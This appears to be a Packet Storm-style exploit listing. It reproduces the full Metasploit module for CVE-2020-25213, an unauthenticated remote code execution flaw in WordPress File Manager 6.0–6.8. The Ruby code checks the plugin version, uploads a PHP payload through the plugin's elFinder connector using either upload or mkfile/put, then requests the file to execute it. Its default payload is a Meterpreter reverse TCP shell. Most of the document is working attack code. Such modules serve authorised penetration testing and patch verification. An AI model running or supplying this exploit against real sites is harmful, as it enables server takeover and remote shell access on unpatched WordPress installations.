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WordPress File Manager 6.8 Remote Code Execution

WordPress File Manager 6.8 Remote Code Execution
Posted Nov 10, 2020
Authored by Imran E. Dawoodjee, Alex Souza | Site metasploit.com

The WordPress File Manager (wp-file-manager) plugin versions 6.0 through 6.8 allows remote attackers to upload and execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php extension. This, for example, allows attackers to run the elFinder upload (or mkfile and put) command to write PHP code into the wp-content/plugins/wp-file-manager/lib/files/ directory.

tags | exploit, remote, arbitrary, php
advisories | CVE-2020-25213
MD5 | 33be7d7b4c3915b9705e403be54c86a0

WordPress File Manager 6.8 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress File Manager Unauthenticated Remote Code Execution',
'Description' => %q{
The File Manager (wp-file-manager) plugin from 6.0 to 6.8 for WordPress allows remote attackers to upload and
execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php
extension. This, for example, allows attackers to run the elFinder upload (or mkfile and put) command to write
PHP code into the wp-content/plugins/wp-file-manager/lib/files/ directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alex Souza (w4fz5uck5)', # initial discovery and PoC
'Imran E. Dawoodjee <imran [at] threathounds.com>', # msf module
],
'References' =>
[
[ 'URL', 'https://github.com/w4fz5uck5/wp-file-manager-0day' ],
[ 'URL', 'https://www.tenable.com/cve/CVE-2020-25213' ],
[ 'CVE', '2020-25213' ]
],
'Platform' => [ 'php' ],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[
'WordPress File Manager 6.0-6.8',
{
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2020-09-09', # disclosure date on NVD, PoC was published on August 26 2020
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),
OptEnum.new('COMMAND', [true, 'elFinder commands used to exploit the vulnerability', 'upload', %w[upload mkfile+put]])
]
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

# check the plugin version from readme
check_plugin_version_from_readme('wp-file-manager', '6.9', '6.0')
end

def exploit
# base path to File Manager plugin
file_manager_base_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-file-manager')
# filename of the file to be uploaded/created
filename = "#{Rex::Text.rand_text_alphanumeric(6)}.php"
register_file_for_cleanup(filename)

case datastore['COMMAND']
when 'upload'
elfinder_post(file_manager_base_uri, 'upload', 'payload' => payload.encoded, 'filename' => filename)
when 'mkfile+put'
elfinder_post(file_manager_base_uri, 'mkfile', 'filename' => filename)
elfinder_post(file_manager_base_uri, 'put', 'payload' => payload.encoded, 'filename' => filename)
end

payload_uri = normalize_uri(file_manager_base_uri, 'lib', 'files', filename)
print_status("#{peer} - Payload is at #{payload_uri}")
# execute the payload
send_request_cgi('uri' => normalize_uri(payload_uri))
end

# make it easier to switch between "upload" and "mkfile+put" exploit methods
def elfinder_post(file_manager_base_uri, elfinder_cmd, opts = {})
filename = opts['filename']

# prep for exploit
post_data = Rex::MIME::Message.new
post_data.add_part(elfinder_cmd, nil, nil, 'form-data; name="cmd"')

case elfinder_cmd
when 'upload'
post_data.add_part('l1_', nil, nil, 'form-data; name="target"')
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")
when 'mkfile'
post_data.add_part('l1_', nil, nil, 'form-data; name="target"')
post_data.add_part(filename, nil, nil, 'form-data; name="name"')
when 'put'
post_data.add_part("l1_#{Rex::Text.encode_base64(filename)}", nil, nil, 'form-data; name="target"')
post_data.add_part(payload.encoded, nil, nil, 'form-data; name="content"')
end

res = send_request_cgi(
'uri' => normalize_uri(file_manager_base_uri, 'lib', 'php', 'connector.minimal.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200
end
end
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